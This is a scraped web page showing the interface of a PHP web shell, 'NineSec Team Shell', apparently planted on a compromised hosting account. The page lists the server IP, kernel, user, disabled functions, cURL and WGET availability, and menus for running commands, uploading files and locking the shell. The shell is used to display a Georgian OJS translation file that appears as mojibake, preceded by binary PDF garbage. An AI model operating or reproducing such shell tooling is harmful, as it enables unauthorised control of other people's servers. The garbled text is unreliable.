%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàÑ77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛÕŸ‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 2a02:4780:6:1422:0:e17:6acc:2  /  Your IP : 216.73.217.64
Web Server : LiteSpeed
System : Linux id-dci-web1322.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User : u236415692 ( 236415692)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/ka_GE/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/ka_GE/author.po
msgid ""
msgstr ""
"PO-Revision-Date: 2021-02-05 18:02+0000\n"
"Last-Translator: Dimitri Gogelia <dimitri.gogelia@iliauni.edu.ge>\n"
"Language-Team: Georgian <http://translate.pkp.sfu.ca/projects/ojs/author/"
"ka_GE/>\n"
"Language: ka_GE\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "author.submit.submissionFile"
msgstr "გáƒáƒ¡áƒáƒ’ზáƒáƒ•áƒœáƒ˜ ფáƒáƒ˜áƒšáƒ˜"

msgid "author.submit.form.titleRequired"
msgstr "გთხáƒáƒ•áƒ— შეიტáƒáƒœáƒáƒ— სტáƒáƒ¢áƒ˜áƒ˜áƒ¡ სáƒáƒ—áƒáƒ£áƒ áƒ˜."

msgid "author.submit.form.authorRequired"
msgstr "სულ მცირე, ერთი áƒáƒ•áƒ¢áƒáƒ áƒ˜ სáƒáƒ•áƒáƒšáƒ“ებულáƒáƒ."

msgid "author.submit.deleteAuthor"
msgstr "áƒáƒ•áƒ¢áƒáƒ áƒ˜áƒ¡ წáƒáƒ¨áƒšáƒ"

msgid "author.submit.addAuthor"
msgstr "áƒáƒ•áƒ¢áƒáƒ áƒ˜áƒ¡ დáƒáƒ›áƒáƒ¢áƒ”ბáƒ"

msgid "author.submit.reorder"
msgstr "áƒáƒ•áƒ¢áƒáƒ áƒ”ბის სáƒáƒ®áƒ”ლების გáƒáƒ“áƒáƒáƒ“გილებáƒ"

msgid "author.submit.comments"
msgstr "შეიტáƒáƒœáƒ”თ ტექსტი (áƒáƒ áƒáƒ¡áƒáƒ•áƒáƒšáƒ“ებულáƒ)"

msgid "author.submit.journalSection"
msgstr "ჟურნáƒáƒšáƒ˜áƒ¡ სექციáƒ"

msgid "author.submissions.noSubmissions"
msgstr "áƒáƒ  áƒáƒ áƒ˜áƒ¡ გáƒáƒ’ზáƒáƒ•áƒœáƒ˜áƒšáƒ˜ მáƒáƒ¡áƒáƒšáƒ”ბი."

msgid "author.submissions.viewStatus"
msgstr "სტáƒáƒ¢áƒ£áƒ¡áƒ˜áƒ¡ ჩვენებáƒ"

msgid "author.submit.requestWaiver"
msgstr "სáƒáƒ¤áƒáƒ¡áƒ£áƒ áƒ˜áƒ¡ გáƒáƒ“áƒáƒ®áƒ“ის გáƒáƒ£áƒ¥áƒ›áƒ”ბის მáƒáƒ—ხáƒáƒ•áƒœáƒ"

msgid "author.submit.notAccepting"
msgstr "áƒáƒ›áƒŸáƒáƒ›áƒáƒ“ ეს ჟურნáƒáƒšáƒ˜ áƒáƒ  იღებს მáƒáƒ¡áƒáƒšáƒ”ბს."

msgid "author.submit.nextSteps"
msgstr "შემდეგი ბიჯები"

msgid "author.submit.confirmation"
msgstr "დáƒáƒ“áƒáƒ¡áƒ¢áƒ£áƒ áƒ”ბáƒ"

msgid "author.submit.supplementaryFiles"
msgstr "დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ”ბის áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვáƒ"

msgid "author.submit.metadata"
msgstr "მეტáƒ-მáƒáƒœáƒáƒªáƒ”მების შეტáƒáƒœáƒ"

msgid "author.submit.upload"
msgstr "მáƒáƒ¡áƒáƒšáƒ˜áƒ¡ áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვáƒ"

msgid "author.submit.start"
msgstr "დáƒáƒ¬áƒ§áƒ”ბáƒ"

msgid "author.submit.step5"
msgstr "ბიჯი 5. მáƒáƒ¡áƒáƒšáƒ˜áƒ¡ შეტáƒáƒœáƒ˜áƒ¡ დáƒáƒ“áƒáƒ¡áƒ¢áƒ£áƒ áƒ”ბáƒ"

msgid "author.submit.step4a"
msgstr "ბიჯი 4áƒ. დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ˜áƒ¡ áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვáƒ"

msgid "author.submit.step4"
msgstr "ბიჯი 4. დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ”ბის áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვáƒ"

msgid "author.submit.step3"
msgstr "ბიჯი 3. მáƒáƒ¡áƒáƒšáƒ˜áƒ¡ მეტáƒ-მáƒáƒœáƒáƒªáƒ”მების შეტáƒáƒœáƒ"

msgid "author.submit.step2"
msgstr "ბიჯი 2. მáƒáƒ¡áƒáƒšáƒ”ბის áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვáƒ"

msgid "author.submit.step1"
msgstr "ბიჯი 1. შეტáƒáƒœáƒ˜áƒ¡ დáƒáƒ¬áƒ§áƒ”ბáƒ"

msgid "author.submit.startHereTitle"
msgstr "áƒáƒ®áƒáƒšáƒ˜ შენáƒáƒ¢áƒáƒœáƒ˜áƒ¡ გáƒáƒ’ზáƒáƒ•áƒœáƒ"

msgid "author.submit.stepsToSubmit"
msgstr "ხუთი ნáƒáƒ‘იჯი გáƒáƒ’ზáƒáƒ•áƒœáƒ˜áƒ¡áƒáƒ—ვის"

msgid "author.submit.submitArticle"
msgstr "სტáƒáƒ¢áƒ˜áƒ˜áƒ¡ გáƒáƒ’ზáƒáƒ•áƒœáƒ"

msgid "author.track"
msgstr "áƒáƒ¥áƒ¢áƒ˜áƒ£áƒ áƒ˜ შენáƒáƒ¢áƒáƒœáƒ”ბი"

msgid "author.submit"
msgstr "áƒáƒ®áƒáƒšáƒ˜ შენáƒáƒ¢áƒáƒœáƒ˜"

msgid "author.submit.submissionIndexingDescription"
msgstr ""
"მიუთითეთ სáƒáƒ™áƒ•áƒáƒœáƒ«áƒ სიტყვები áƒáƒ› მáƒáƒ¡áƒáƒšáƒ˜áƒ¡ ინდექსáƒáƒªáƒ˜áƒ˜áƒ¡áƒáƒ—ვის; სáƒáƒ™áƒ•áƒáƒœáƒ«áƒ სიტყვები "
"გáƒáƒ›áƒáƒ§áƒáƒ•áƒ˜áƒ— წერტილმძიმით (სიტყვáƒ1;სიტყვáƒ2;სიტყვáƒ3)."

msgid "author.submit.selectPrincipalContact"
msgstr "ძირითáƒáƒ“ი áƒáƒ•áƒ¢áƒáƒ áƒ˜ რედáƒáƒ¥áƒªáƒ˜áƒáƒ¡áƒ—áƒáƒœ მიმáƒáƒ¬áƒ”რისáƒáƒ—ვის."

msgid "author.submit.reorderInstructions"
msgstr ""
"დáƒáƒáƒšáƒáƒ’ეთ áƒáƒ•áƒ¢áƒáƒ áƒ—რსáƒáƒ®áƒ”ლები იმ თáƒáƒœáƒ›áƒ˜áƒ›áƒ“ევრáƒáƒ‘ით, რáƒáƒ›áƒšáƒ˜áƒ—áƒáƒª ისინი უნდრიყáƒáƒ¡ "
"მითითებული სტáƒáƒ¢áƒ˜áƒáƒ¨áƒ˜."

msgid "submission.submit.privacyStatement"
msgstr "ჟურნáƒáƒšáƒ˜áƒ¡ კáƒáƒœáƒ¤áƒ˜áƒ“ენციáƒáƒšáƒ£áƒ áƒáƒ‘ის გáƒáƒœáƒªáƒ®áƒáƒ“ებáƒ"

msgid "author.submit.form.localeRequired"
msgstr "გთხáƒáƒ•áƒ—, áƒáƒ˜áƒ áƒ©áƒ˜áƒ”თ შესáƒáƒ¢áƒáƒœáƒ˜ მáƒáƒ¡áƒáƒšáƒ˜áƒ¡ ენáƒ."

msgid "author.submit.form.sectionRequired"
msgstr "გთხáƒáƒ•áƒ—, áƒáƒ˜áƒ áƒ©áƒ”ით ჟურნáƒáƒšáƒ˜áƒ¡ შესáƒáƒ‘áƒáƒ›áƒ˜áƒ¡áƒ˜ გáƒáƒœáƒ§áƒáƒ¤áƒ˜áƒšáƒ”ბრáƒáƒ› მáƒáƒ¡áƒáƒšáƒ˜áƒ¡áƒáƒ—ვის."

msgid "submission.submit.coverNote"
msgstr "კáƒáƒ›áƒ”ნტáƒáƒ áƒ”ბი რედáƒáƒ¥áƒ¢áƒáƒ áƒ˜áƒ¡áƒáƒ—ვის"

msgid "author.submit.copyrightNoticeAgreeRequired"
msgstr "გáƒáƒ¡áƒáƒ’რძელებლáƒáƒ“ უნდრდáƒáƒ”თáƒáƒœáƒ®áƒ›áƒáƒ— სáƒáƒáƒ•áƒ¢áƒáƒ áƒ უფლებების გáƒáƒ“áƒáƒªáƒ”მის წესებს."

msgid "author.submit.copyrightNoticeAgree"
msgstr ""
"áƒáƒ•áƒ¢áƒáƒ áƒ”ბი ეთáƒáƒœáƒ®áƒ›áƒ”ბიáƒáƒœ სáƒáƒáƒ•áƒ¢áƒáƒ áƒ უფლებების გáƒáƒ“áƒáƒªáƒ”მის წესებს, რáƒáƒ›áƒšáƒ”ბიც "
"გáƒáƒ›áƒáƒ§áƒ”ნებული იქნებრáƒáƒ› მáƒáƒ¡áƒáƒšáƒáƒ¡áƒ—áƒáƒœ მიმáƒáƒ áƒ—ებáƒáƒ¨áƒ˜, თუ ის გáƒáƒ›áƒáƒ¥áƒ•áƒ”ყნდებრáƒáƒ› "
"ჟურნáƒáƒšáƒ¨áƒ˜ (კáƒáƒ›áƒ”ნტáƒáƒ áƒ”ბი რედáƒáƒ¥áƒ¢áƒáƒ áƒ˜áƒ¡áƒáƒ—ვის შეიძლებრდáƒáƒ”მáƒáƒ¢áƒáƒ¡ ქვემáƒáƒ—)."

msgid "author.submit.verifyChecklist"
msgstr ""
"გáƒáƒ¡áƒáƒ’რძელებლáƒáƒ“ უნდრდáƒáƒ áƒ¬áƒ›áƒ£áƒœáƒ“ეთ, რáƒáƒ› შესრულებულირსáƒáƒ™áƒáƒœáƒ¢áƒ áƒáƒšáƒ სიის ყველრ"
"პუნქტი."

msgid "author.submit.journalSectionDescription"
msgstr ""
"áƒáƒ˜áƒ áƒ©áƒ˜áƒ”თ შესáƒáƒ‘áƒáƒ›áƒ˜áƒ¡áƒ˜ გáƒáƒœáƒ§áƒáƒ¤áƒ˜áƒšáƒ”ბრმáƒáƒ¡áƒáƒšáƒ˜áƒ¡áƒáƒ—ვის (იხილეთ „გáƒáƒœáƒ§áƒáƒ¤áƒ˜áƒšáƒ”ბები დრწესები“"
" გვერდზე <a href=\"{$aboutUrl}\" target=\"_new\">„ჟურნáƒáƒšáƒ˜áƒ¡ შესáƒáƒ®áƒ”ბ“</a>)."

msgid "author.submissions.confirmDelete"
msgstr ""
"დáƒáƒ áƒ¬áƒ›áƒ£áƒœáƒ”ბული ხáƒáƒ áƒ—, რáƒáƒ› გსურთ იმ მáƒáƒ¡áƒáƒšáƒ˜áƒ¡ წáƒáƒ¨áƒšáƒ, რáƒáƒ›áƒšáƒ˜áƒ¡ გáƒáƒ’ზáƒáƒ•áƒœáƒ áƒáƒ  "
"დáƒáƒ¡áƒ áƒ£áƒšáƒ”ბულáƒ?"

msgid "author.submissions.proofreadingCorrections"
msgstr "შესწáƒáƒ áƒ”ბები კáƒáƒ áƒ”ქტურისáƒáƒ¡"

msgid "author.submissions.uploadCopyeditedVersion"
msgstr "ლიტერáƒáƒ¢áƒ£áƒ áƒ£áƒšáƒáƒ“ ჩáƒáƒ¡áƒ¬áƒáƒ áƒ”ბული ვერსიის áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვáƒ"

msgid "author.submissions.queuedEditingProofread"
msgstr "გáƒáƒœáƒ®áƒ˜áƒšáƒ•áƒ˜áƒ¡ პრáƒáƒªáƒ”სში: სáƒáƒ­áƒ˜áƒ áƒáƒ კáƒáƒ áƒ”ქტურáƒ"

msgid "author.submissions.queuedEditingCopyedit"
msgstr "გáƒáƒœáƒ®áƒ˜áƒšáƒ•áƒ˜áƒ¡ პრáƒáƒªáƒ”სში: სáƒáƒ­áƒ˜áƒ áƒáƒ ლიტერáƒáƒ¢áƒ£áƒ áƒ£áƒšáƒ˜ ჩáƒáƒ¡áƒ¬áƒáƒ áƒ”ბáƒ"

msgid "author.submissions.queuedReviewRevisions"
msgstr "გáƒáƒœáƒ®áƒ˜áƒšáƒ•áƒ˜áƒ¡ პრáƒáƒªáƒ”სში: სáƒáƒ­áƒ˜áƒ áƒáƒ ცვლილებáƒ"

msgid "author.submissions.queuedReviewSubsequent"
msgstr "გáƒáƒœáƒ®áƒ˜áƒšáƒ•áƒ˜áƒ¡ პრáƒáƒªáƒ”სში {$round}"

msgid "author.submit.mustEnterWaiverReason"
msgstr ""
"თუ თქვენ ითხáƒáƒ•áƒ— სáƒáƒ¤áƒáƒ¡áƒ£áƒ áƒ˜áƒ¡ გáƒáƒ£áƒ¥áƒ›áƒ”ბáƒáƒ¡, უნდრმიუთითáƒáƒ— მიზეზი შესáƒáƒ‘áƒáƒ›áƒ˜áƒ¡ ველში."

msgid "author.submit.addReasonsForWaiver"
msgstr ""
"გთხáƒáƒ•áƒ— გáƒáƒ›áƒáƒ˜áƒ§áƒ”ნთ კáƒáƒ›áƒ”ნტáƒáƒ áƒ”ბის ველი ქვემáƒáƒ— მიზეზების მისáƒáƒ—ითებლáƒáƒ“, თუ რáƒáƒ¢áƒáƒ› "
"უნდრგáƒáƒ¥áƒ£áƒ›áƒ“ეს სáƒáƒ¤áƒáƒ¡áƒ£áƒ áƒ˜."

msgid "author.submit.qualifyForWaiver"
msgstr "გთხáƒáƒ•áƒ—, გáƒáƒœáƒ˜áƒ®áƒ˜áƒšáƒáƒ— áƒáƒ› სტáƒáƒ¢áƒ˜áƒ˜áƒ¡ შეტáƒáƒœáƒ˜áƒ¡ სáƒáƒ¤áƒáƒ¡áƒ£áƒ áƒ˜áƒ¡ გáƒáƒ£áƒ¥áƒ›áƒ”ბის შესáƒáƒ«áƒšáƒ”ბლáƒáƒ‘áƒ"

msgid "submission.submit.cancelSubmission"
msgstr ""
"შეგიძლიáƒáƒ— áƒáƒ› შეტáƒáƒœáƒ˜áƒ¡ დáƒáƒ¡áƒ áƒ£áƒšáƒ”ბრმáƒáƒ’ვიáƒáƒœáƒ”ბით, áƒáƒ•áƒ¢áƒáƒ áƒ˜áƒ¡ გვერდზე „áƒáƒ¥áƒ¢áƒ˜áƒ£áƒ áƒ˜ "
"მáƒáƒ¡áƒáƒšáƒ”ბი“-ს áƒáƒ áƒ©áƒ”ვით."

msgid "author.submit.startHereLink"
msgstr ""
"<a href=\"{$submitUrl}\" class=\"action\">დáƒáƒáƒ¬áƒ™áƒáƒžáƒ£áƒœáƒ”თ áƒáƒ¥</a> შეტáƒáƒœáƒ˜áƒ¡ ხუთი "
"ნáƒáƒ‘იჯის პრáƒáƒªáƒ”სზე გáƒáƒ“áƒáƒ¡áƒáƒ¡áƒ•áƒšáƒ”ლáƒáƒ“."

msgid "author.competingInterests"
msgstr ""
"ინტერესთრკáƒáƒœáƒ¤áƒšáƒ˜áƒ¥áƒ¢áƒ˜ <a target=\"_new\" class=\"action\" href=\""
"{$competingInterestGuidelinesUrl}\">ინტერესთრკáƒáƒœáƒ¤áƒšáƒ˜áƒ¥áƒ¢áƒ˜áƒ¡ წესები</a>"

msgid "author.submit.coverageInstructions"
msgstr ""
"áƒáƒ¦áƒ¬áƒ”რეთ თქვენი კვლევის გეáƒ-სივრცული, ქრáƒáƒœáƒáƒšáƒáƒ’იური, áƒáƒœ ისტáƒáƒ áƒ˜áƒ£áƒšáƒ˜ დáƒáƒ¤áƒáƒ áƒ•áƒ, áƒáƒœ/"
"დრსáƒáƒ™áƒ•áƒšáƒ”ვი áƒáƒ‘იექტის მáƒáƒ®áƒáƒ¡áƒ˜áƒáƒ—ებლები."

msgid "author.submit.addSupplementaryFile"
msgstr "დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ˜áƒ¡ დáƒáƒ›áƒáƒ¢áƒ”ბáƒ"

msgid "author.submit.uploadSuppFile"
msgstr "დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ˜áƒ¡ áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვáƒ"

msgid "author.submit.confirmDeleteSuppFile"
msgstr "დáƒáƒ áƒ¬áƒ›áƒ£áƒœáƒ”ბული ხáƒáƒ áƒ—, რáƒáƒ› გსურთ áƒáƒ› დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ˜áƒ¡ წáƒáƒ¨áƒšáƒ?"

msgid "author.submit.backToSupplementaryFiles"
msgstr "დáƒáƒ›áƒáƒ¢áƒ”ბით ფáƒáƒ˜áƒšáƒ”ბზე დáƒáƒ‘რუნებáƒ"

msgid "author.submit.noSupplementaryFiles"
msgstr "დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ”ბი áƒáƒ  იყრáƒáƒ áƒ©áƒ”ული áƒáƒ› მáƒáƒ¡áƒáƒšáƒ˜áƒ¡áƒáƒ—ვის."

msgid "author.submit.forgottenSubmitSuppFile"
msgstr ""
"დáƒáƒ áƒ¬áƒ›áƒ£áƒœáƒ”ბული ხáƒáƒ áƒ—, რáƒáƒ› გსურთ áƒáƒ áƒ©áƒ”ული დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ˜áƒ¡ áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვის გáƒáƒ áƒ”შე "
"გáƒáƒ’რძელებáƒ?"

msgid "author.submit.supplementaryFiles.saveToUpload"
msgstr ""
"დáƒáƒáƒ­áƒ˜áƒ áƒ”თ ღილáƒáƒ™áƒ–ე „დáƒáƒ›áƒáƒ®áƒ¡áƒáƒ•áƒ áƒ”ბáƒâ€œ, ფáƒáƒ˜áƒšáƒ˜áƒ¡ áƒáƒ¡áƒáƒ¢áƒ•áƒ˜áƒ áƒ—áƒáƒ“ (áƒáƒ›áƒ˜áƒ¡ შემდეგ შესáƒáƒ«áƒšáƒ”ბელი "
"იქნებრსხვრფáƒáƒ˜áƒšáƒ”ბის áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვáƒáƒª)."

msgid "author.submit.supplementaryFilesInstructions"
msgstr ""
"ეს ბიჯი სáƒáƒ•áƒáƒšáƒ“ებულრáƒáƒ  áƒáƒ áƒ˜áƒ¡, ის სáƒáƒ¨áƒ£áƒáƒšáƒ”ბáƒáƒ¡ გáƒáƒ«áƒšáƒ”ვთ თქვენს ენáƒáƒ¢áƒáƒœáƒ¡ დáƒáƒáƒ›áƒáƒ¢áƒáƒ— "
"ფáƒáƒ˜áƒšáƒ”ბი. ეს ფáƒáƒ˜áƒšáƒ”ბი ნებისმიერი ფáƒáƒ áƒ›áƒáƒ¢áƒ˜áƒ¡ შეიძლებრიყáƒáƒ¡ დრწáƒáƒ áƒ›áƒáƒáƒ“გენდნენ (a) "
"კვლევის ხელსáƒáƒ¬áƒ§áƒáƒ”ბს, (b) მáƒáƒœáƒáƒªáƒ”მთრნáƒáƒ™áƒ áƒ”ბები, რáƒáƒ›áƒšáƒ”ბიც áƒáƒ’ებულირáƒáƒ› კვლევის "
"წესების მიხედვით, (c) წყáƒáƒ áƒáƒ”ბი, რáƒáƒ›áƒšáƒ”ბიც áƒáƒ›áƒ თუ იმ სáƒáƒ®áƒ˜áƒ— მიუწვდáƒáƒ›áƒ”ლირ"
"მკითხველისáƒáƒ—ვის, (d) სურáƒáƒ—ები დრცხრილები, რáƒáƒ›áƒ”ლტრჩáƒáƒ¡áƒ›áƒ ტექსტში შეუძლებლიáƒ, "
"áƒáƒœ სხვრსáƒáƒ®áƒ˜áƒ¡ მáƒáƒ¡áƒáƒšáƒ”ბი, რáƒáƒ›áƒšáƒ”ბიც კვლევáƒáƒ¡ ფáƒáƒ¡áƒ”ულáƒáƒ‘áƒáƒ¡ მáƒáƒ¢áƒ”ბენ."

msgid "author.submit.noSubmissionConfirm"
msgstr "დáƒáƒ áƒ¬áƒ›áƒ£áƒœáƒ”ბული ხáƒáƒ áƒ—, რáƒáƒ› გსურთ ფáƒáƒ˜áƒšáƒ˜áƒ¡ áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვის გáƒáƒ áƒ”შე გáƒáƒ’რძელებáƒ?"

msgid "author.submit.noSubmissionFile"
msgstr "ფáƒáƒ˜áƒšáƒ˜ ვერ áƒáƒ˜áƒ¢áƒ•áƒ˜áƒ áƒ—áƒ."

msgid "author.submit.replaceSubmissionFile"
msgstr "ფáƒáƒ˜áƒšáƒ˜áƒ¡ áƒáƒ›áƒáƒªáƒ•áƒšáƒ"

msgid "author.submit.uploadSubmissionFile"
msgstr "ფáƒáƒ˜áƒšáƒ˜áƒ¡ áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვáƒ"

msgid "author.submit.form.wordCountAlert"
msgstr ""
"თქვენ გáƒáƒ“áƒáƒáƒ­áƒáƒ áƒ‘ეთ áƒáƒ‘სტრáƒáƒ¥áƒ¢áƒ˜áƒ¡áƒáƒ—ვის გáƒáƒœáƒ™áƒ£áƒ—ვნილი სიტყვების მáƒáƒ¥áƒ¡áƒ˜áƒ›áƒáƒšáƒ£áƒ  áƒáƒ“ენáƒáƒ‘áƒáƒ¡."

msgid "author.submit.form.abstractRequired"
msgstr "გთხáƒáƒ•áƒ—, შეიტáƒáƒœáƒáƒ— თქვენი სტáƒáƒ¢áƒ˜áƒ˜áƒ¡ áƒáƒ‘სტრáƒáƒ¥áƒ¢áƒ˜."

msgid "author.submit.form.authorRequiredFields"
msgstr ""
"ყáƒáƒ•áƒ”ლი áƒáƒ•áƒ¢áƒáƒ áƒ˜áƒ¡áƒáƒ—ვის სáƒáƒ•áƒáƒšáƒ“ებულირსáƒáƒ®áƒ”ლის, გვáƒáƒ áƒ˜áƒ¡ დრელფáƒáƒ¡áƒ¢áƒ˜áƒ¡ მისáƒáƒ›áƒáƒ áƒ—ის "
"შეტáƒáƒœáƒ."

msgid "author.submit.languageInstructions"
msgstr ""
"English=en; French=fr; Spanish=es; Georgian=ka. <a href=\"http://www.loc.gov/"
"standards/iso639-2/php/code_list.php\" target=\"_blank\">დáƒáƒ›áƒáƒ¢áƒ”ბითი "
"კáƒáƒ“ები</a>."

msgid "author.submit.authorSubmitLoginMessage"
msgstr ""
"áƒáƒ› ჟურნáƒáƒšáƒ¨áƒ˜ გáƒáƒ›áƒáƒ¥áƒ•áƒ”ყნებისáƒáƒ—ვის სáƒáƒ­áƒ˜áƒ áƒáƒ áƒáƒœáƒ’áƒáƒ áƒ˜áƒ¨áƒ˜. ის სáƒáƒ¨áƒ£áƒáƒšáƒ”ბáƒáƒ¡ მისცემს ჩვენს "
"რედáƒáƒ¥áƒ¢áƒáƒ áƒ”ბს თვáƒáƒšáƒ§áƒ£áƒ áƒ˜ áƒáƒ“ვენáƒáƒœ თქვენს მიერ გáƒáƒ›áƒáƒ’ზáƒáƒ•áƒœáƒ˜áƒšáƒ˜ მáƒáƒ¡áƒáƒšáƒ”ბს დრ"
"დáƒáƒ’იკáƒáƒ•áƒ¨áƒ˜áƒ áƒ“ნენ, რáƒáƒ“ესáƒáƒª მáƒáƒ¡áƒáƒšáƒ˜áƒ¡ სტáƒáƒ¢áƒ£áƒ¡áƒ˜ შეიცვლებáƒ, áƒáƒœ თუ სáƒáƒ­áƒ˜áƒ áƒáƒ დáƒáƒ›áƒáƒ¢áƒ”ბითი "
"ინფáƒáƒ áƒ›áƒáƒªáƒ˜áƒ."

msgid "author.article.authorRevisedFile"
msgstr "áƒáƒ•áƒ¢áƒáƒ áƒ˜áƒ¡ ფáƒáƒ˜áƒšáƒ˜"

msgid "author.article.copyeditedFile"
msgstr "ფáƒáƒ˜áƒšáƒ˜ ლიტერáƒáƒ¢áƒ£áƒ áƒ£áƒšáƒ˜ ჩáƒáƒ¡áƒ¬áƒáƒ áƒ”ბის შემდგáƒáƒ›"

msgid "author.article.uploadAuthorVersion"
msgstr "áƒáƒ•áƒ¢áƒáƒ áƒ˜áƒ¡ ვერსიის áƒáƒ¢áƒ•áƒ˜áƒ áƒ—ვáƒ"

msgid "author.submit.submissionComplete"
msgstr ""
"მáƒáƒ¡áƒáƒšáƒ გáƒáƒ’ზáƒáƒ•áƒœáƒ˜áƒšáƒ˜áƒ. გმáƒáƒ“ლáƒáƒ‘თ, რáƒáƒ› დáƒáƒ˜áƒœáƒ¢áƒ”რესდით ჟურნáƒáƒšáƒ˜áƒ— {$journalTitle}."

msgid "author.submit.finishSubmission"
msgstr "გáƒáƒ’ზáƒáƒ•áƒœáƒ˜áƒ¡ დáƒáƒ¡áƒ áƒ£áƒšáƒ”ბáƒ"

msgid "author.submit.filesSummary"
msgstr "მáƒáƒœáƒáƒªáƒ”მები ფáƒáƒ˜áƒšáƒ”ბის შესáƒáƒ®áƒ”ბ"

msgid "author.submit.noFiles"
msgstr "áƒáƒ áƒª ერთი ფáƒáƒ˜áƒšáƒ˜ áƒáƒ  მიემáƒáƒ’რრáƒáƒ› გáƒáƒ’ზáƒáƒ•áƒœáƒ˜áƒš მáƒáƒ¡áƒáƒšáƒáƒ¡."

msgid "author.submit.confirmationDescription"
msgstr ""
"დáƒáƒáƒ­áƒ˜áƒ áƒ”თ „გáƒáƒ’ზáƒáƒ•áƒœáƒ˜áƒ¡ დáƒáƒ¡áƒ áƒ£áƒšáƒ”ბáƒâ€œ, ჟურნáƒáƒšáƒ¨áƒ˜ {$journalTitle} მáƒáƒ¡áƒáƒšáƒ”ბის "
"გáƒáƒ“áƒáƒ¡áƒáƒ’ზáƒáƒ•áƒœáƒáƒ“. ძირითáƒáƒ“ი áƒáƒ•áƒ¢áƒáƒ áƒ˜, რáƒáƒ›áƒ”ლიც მითითებულირრედáƒáƒ¥áƒªáƒ˜áƒáƒ¡áƒ—áƒáƒœ "
"სáƒáƒ™áƒáƒœáƒ¢áƒáƒ¥áƒ¢áƒáƒ“, მიიღებს დáƒáƒ¡áƒ¢áƒ£áƒ áƒ¡ ელფáƒáƒ¡áƒ¢áƒ˜áƒ¡ სáƒáƒ¨áƒ£áƒáƒšáƒ”ბით დრშეეძლებრთვáƒáƒšáƒ§áƒ£áƒ áƒ˜áƒ¡ "
"დევნებრმáƒáƒ¡áƒáƒšáƒ˜áƒ¡ სáƒáƒ áƒ”დáƒáƒ¥áƒªáƒ˜áƒ პრáƒáƒªáƒ”სის გáƒáƒ•áƒšáƒ˜áƒ¡áƒáƒ¡, ჟურნáƒáƒšáƒ˜áƒ¡ ვებ-სáƒáƒ˜áƒ¢áƒ–ე. გმáƒáƒ“ლáƒáƒ‘თ, "
"რáƒáƒ› დáƒáƒ˜áƒœáƒ¢áƒ”რესდით ჟურნáƒáƒšáƒ˜áƒ— {$journalTitle}."

msgid "author.suppFile.publicSuppFileIdentifier"
msgstr "დáƒáƒ›áƒáƒ¢áƒ”ბითი ფáƒáƒ˜áƒšáƒ˜áƒ¡ სáƒáƒ¯áƒáƒ áƒ იდენტიფიკáƒáƒ¢áƒáƒ áƒ˜"

